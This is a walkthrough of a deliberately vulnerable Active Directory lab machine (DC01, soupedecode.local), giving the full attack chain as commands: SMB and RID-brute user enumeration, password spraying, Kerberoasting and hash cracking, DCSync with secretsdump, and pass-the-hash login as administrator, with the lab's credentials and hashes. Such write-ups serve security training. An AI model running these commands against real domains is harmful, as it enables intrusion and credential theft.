# DC01

## Configuration:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FJijgMgChEKqttsx37MKz%2FPasted%20image%2020250306235013.png?alt=media&#x26;token=04c748dc-fca7-4fe4-b52a-23f6b0c93db5" alt=""><figcaption></figcaption></figure>

We firstly click on Download button to download it:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FZbV2jbffxRtVM1AWl1Ls%2FPasted%20image%2020250306235034.png?alt=media&#x26;token=57481ce2-72e0-4759-8a95-e66bc34576ca" alt=""><figcaption></figcaption></figure>

Unzip it after downloading it:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FKLqNmErXrXEsnCEDJslm%2FPasted%20image%2020250307002030.png?alt=media&#x26;token=67dc0102-eeb7-4a16-970d-a2c09010ca91" alt=""><figcaption></figcaption></figure>

Lets open it in virtualbox:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FAUjkPWS8p2kniUa6YG66%2FPasted%20image%2020250307002210.png?alt=media&#x26;token=06ebed1b-86d7-4478-8590-fe2f82e59b49" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FZq1nNhqKva4gfZyNlVvQ%2FPasted%20image%2020250307002136.png?alt=media&#x26;token=e5f4cee6-da0d-42dc-ae9c-e00590c6c4f7" alt=""><figcaption></figcaption></figure>

Then to configure the network we will go to network:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FTdNYRfur2ldFG4EwelEe%2FPasted%20image%2020250307002457.png?alt=media&#x26;token=98ed5f44-82a1-41ab-b16e-624c214ebf19" alt=""><figcaption></figcaption></figure>

And create a new one in NAT:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FFtpfjfmq6ePgTq5uC164%2FPasted%20image%2020250307002537.png?alt=media&#x26;token=93ec57f6-bd8f-4aea-b04a-2a43bc5c166a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FLK9loHuzto1Iby6i5q8w%2FPasted%20image%2020250307014751.png?alt=media&#x26;token=cbb93bc1-b31e-44be-a3c2-ddf07bc39c6f" alt=""><figcaption></figcaption></figure>

Now we have to change the network interface for that DC machine and our kali machine so they can be reach to each other:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FxnyZS82qnOr0MQct2t29%2FPasted%20image%2020250307002730.png?alt=media&#x26;token=4e256c68-39fe-4fc1-987a-914b1a81a62b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F456YL7h0dhUqyri6YuoP%2FPasted%20image%2020250307002753.png?alt=media&#x26;token=524fd7d5-f24d-4072-8707-5ddc18fd2353" alt=""><figcaption></figcaption></figure>

And we will start both of them:

When we see this pane in DC01, we leave it and go to our kali machine to start hacking:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FwBeqYkQQutPBfQcZjg0S%2FPasted%20image%2020250307003050.png?alt=media&#x26;token=b13f8e7a-526c-4736-8870-41b5b8b36a1d" alt=""><figcaption></figcaption></figure>

## Enumeration:

Get our IP to perform SMB sweep to see what other IP is open:

```bash
ifconfig
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FIKDY0vVNYIas7Qxa2gmX%2FPasted%20image%2020250307003222.png?alt=media&#x26;token=c2d7ffed-d033-4d62-8333-7f0ab19444f0" alt=""><figcaption></figcaption></figure>

```bash
netexec smb 10.0.2.0/24
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FXIiZEerodkIFKLxtCJo9%2FPasted%20image%2020250307003308.png?alt=media&#x26;token=ae0673f1-5463-4b9b-b281-08852d913936" alt=""><figcaption></figcaption></figure>

Here is the IP of the target machine.

Before anything, lets add this IP to the hosts file:

```bash
sudo vim /etc/hosts

10.0.2.28 SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL

:wq
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FhSNKUbHx26VmRTLnQ4Dk%2FPasted%20image%2020250307003556.png?alt=media&#x26;token=bb6d6e17-ceaf-4a00-892c-63f44e2fccc9" alt=""><figcaption></figcaption></figure>

```bash
ping soupedecode.local
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FmCstsoDeQgC7l9a7SZfp%2FPasted%20image%2020250307003535.png?alt=media&#x26;token=091c79e6-e1ff-4c4d-b1b0-2d94e2ec81b8" alt=""><figcaption></figcaption></figure>

Lets start nmap scan to scan all open ports on that target system:

```bash
sudo nmap -sCV -p- --min-rate 4000 -oN nmap/allports -vv soupedecode.local
```

* `nmap`: Network Mapper to scan IPs, and ports.
* `-sC`: Use default nmap scripts.
* `-sV`: Service version enumeration.
* `--min-rate 4000`: Speed up the scan.
* `-oN nmap/allports`: Output the result in normal format.
* `-vv`: Increase verbosity.

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FhQGut9OmSzeLyO7EJACU%2FPasted%20image%2020250307004021.png?alt=media&#x26;token=5e7a8ab1-946a-403c-a85c-ee4291f2daaf" alt=""><figcaption></figcaption></figure>

It is active directory machine.

Starting with smb (445):

Check if anonymous login is allowed:

```bash
netexec smb soupedecode.local -u '' -p ''
```

* `smb`: Protocol we want to use.
* `-u`: Specify the username to authenticate with.
* `-p`: Users' password.

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FvcCvpr2I0XDmhlUX4woJ%2FPasted%20image%2020250307004955.png?alt=media&#x26;token=378d1e81-1768-4897-9afb-3fe491e4455a" alt=""><figcaption></figcaption></figure>

Access denied.

Lets try with guest account:

```bash
netexec smb soupedecode.local -u 'guest' -p ''
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FkEJ22RJEij2JoN8WcU3w%2FPasted%20image%2020250307005040.png?alt=media&#x26;token=b8d0c3e0-8ce7-448e-9d95-35a6177f572c" alt=""><figcaption></figcaption></figure>

We have access as the guest user.

Now lets see if we have shares that we have read/write access to:

```bash
netexec smb soupedecode.local -u 'guest' -p '' --shares
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FJWhj1pWnCzAVlpPsej44%2FPasted%20image%2020250307005338.png?alt=media&#x26;token=483a655f-947c-4106-a61f-10582da2ed04" alt=""><figcaption></figcaption></figure>

We have read access to the IPC$ share which is default and not interesting.

Ok lets dump the users, since we have access to IPC:

```bash
netexec smb soupedecode.local -u 'guest' -p '' --users
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FSaUYOJI65N9VbyVCrgnZ%2FPasted%20image%2020250307005505.png?alt=media&#x26;token=7459e98d-da5c-4ee9-9b61-362c9921b43a" alt=""><figcaption></figcaption></figure>

It seems we can not, lets try --rid-brute:

```bash
netexec smb soupedecode.local -u 'guest' -p '' --rid-brute
```

* `--rid-brute`: Perform RID (Relative Identifier) brute-forcing. (e.g. 500: administrator, 1103:bmark0, etc.).

We dumped the users:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FgB4FuzhPM9BL3JTtePfg%2FPasted%20image%2020250307005747.png?alt=media&#x26;token=b2de52e7-24d5-44c7-a9bb-ae506e37a795" alt=""><figcaption></figcaption></figure>

Redirect the result to an output to get only the users.

{% code overflow="wrap" %}
```bash
cat temp.txt | grep 'SidTypeUser' | awk '{print $6}' | cut -d '\' -f 2 > users.txt
```
{% endcode %}

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FknKv3GVG8pk5NFXVDFNS%2FPasted%20image%2020250307010434.png?alt=media&#x26;token=e6d92261-3ee0-44e2-a559-a5934ad0f073" alt=""><figcaption></figcaption></figure>

At this moment, we can perform several attacks like password spraying if we have a password, or AS-REP Roasting to get TGTs.

### Exploitation:

Lets try password spray and the password is the same as the username:

{% code overflow="wrap" %}
```bash
netexec smb soupedecode.local -u users.txt -p users.txt --no-bruteforce --continue-on-success
```
{% endcode %}

* `--no-bruteforce`: Just use the password in the same row with the username.
* `--continue-on-success`: Do not stop the attack if we got a valid credentials.

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FueqvkJ5bD7zeXTeSSkgv%2FPasted%20image%2020250307011039.png?alt=media&#x26;token=ff5c0a1d-2be6-49bb-8b6e-77ebbf00faf4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FcjNdQkGFQAQtqjEbzSBd%2FPasted%20image%2020250307011058.png?alt=media&#x26;token=e2ddc13a-2293-4456-8bb3-5d2d9542751c" alt=""><figcaption></figcaption></figure>

We got these credentials.

Lets perform Kerberoasting attack since we have valid credentials:

{% code overflow="wrap" %}
```bash
impacket-GetUserSPNs -dc-ip 10.0.2.28 soupedecode.local/ybob317:'ybob317' -request -outputfile users.hashes
```
{% endcode %}

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F8YvvHjiwm3gbgy71YGqN%2FPasted%20image%2020250307012044.png?alt=media&#x26;token=cf29cf25-4f7a-4f6f-aea1-6082352cb5bb" alt=""><figcaption></figcaption></figure>

We got clock skew too great, this is because if the system clock of the client and the KDC differ by more than the allowed limit (typically **5 minutes** by default), the authentication fails with this error.

So we need to sync our kali system clock with the NPT IP of the target system:

```bash
sudo ntpdate 10.0.2.28
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FqdTaHsy8asDAE6XqofuP%2FPasted%20image%2020250307014818.png?alt=media&#x26;token=b6b067d5-7ced-434a-ae68-7ce813feb645" alt=""><figcaption></figcaption></figure>

Now perform the attack again:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FFgDEqcTSlpT9gqn1pvuh%2FPasted%20image%2020250307014926.png?alt=media&#x26;token=6fe39915-b166-4f05-86da-7dfbea911c52" alt=""><figcaption></figcaption></figure>

We got those users TGS, now try to crack it:

```bash
hashcat users.hashes /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FAeFbbAsdJnIROUcnzYPw%2FPasted%20image%2020250307015224.png?alt=media&#x26;token=8936767a-1fa4-4da8-9a25-7b50689fbe4b" alt=""><figcaption></figcaption></figure>

It detected the hash types itself.

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FRAS6QZU7Ac5893An6RE6%2FPasted%20image%2020250307015319.png?alt=media&#x26;token=24042116-4289-401c-985c-16bbf28e04a7" alt=""><figcaption></figcaption></figure>

We have only one hash cracked which is for the user file\_svc, and the password is Password123!!.

If we check the shares again with these credentials:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FaMBh4P1TfF0wOqWJgFR5%2FPasted%20image%2020250307015547.png?alt=media&#x26;token=4a5beddf-f26b-4271-8a36-410c45082fcf" alt=""><figcaption></figcaption></figure>

We have read access to the backup share, lets authenticate with smbclient to that share:

```bash
smbclient \\\\10.0.2.28\\backup -U 'file_svc%Password123!!'
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FtEcYJdvNk5NZ59sXnwzi%2FPasted%20image%2020250307015645.png?alt=media&#x26;token=0eb43164-c090-4b9b-90cd-b3345795e96d" alt=""><figcaption></figcaption></figure>

We only have that txt file which contains ntlm hashes.

## Post-Exploitation:

See if any of those are still valid:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Fa1R177KU8HghSkU6tQW5%2FPasted%20image%2020250307015910.png?alt=media&#x26;token=dd8511b5-743c-4858-809a-73f31a64ff6d" alt=""><figcaption></figcaption></figure>

We have fileserver machine which is admin.

Lets perform DCSync to dump all domain users hashes:

{% code overflow="wrap" %}
```bash
impacket-secretsdump -just-dc soupedecode.local/'fileserver$'@10.0.2.28 -hashes :e41da7e79a4c76dbd9cf79d1cb325559
```
{% endcode %}

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FnpbOwMEOmEH91xPidhk1%2FPasted%20image%2020250307020133.png?alt=media&#x26;token=f365ec89-fe2f-4e24-8bb4-aaf4584afd4f" alt=""><figcaption></figcaption></figure>

This is the domain administrator ntlm hash, we can authenticate via psexec or winrm or wmi:

```bash
evil-winrm -i 10.0.2.28 -u administrator -H 88d40c3a9a98889f5cbb778b0db54a2f
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FdaUmfA7fuHcbtG9oATgk%2FPasted%20image%2020250307020324.png?alt=media&#x26;token=7d875d72-60eb-4cba-9f6e-118860c0c8f4" alt=""><figcaption></figcaption></figure>

Here is the root flag, the user flag is in ybob317 desktop folder.
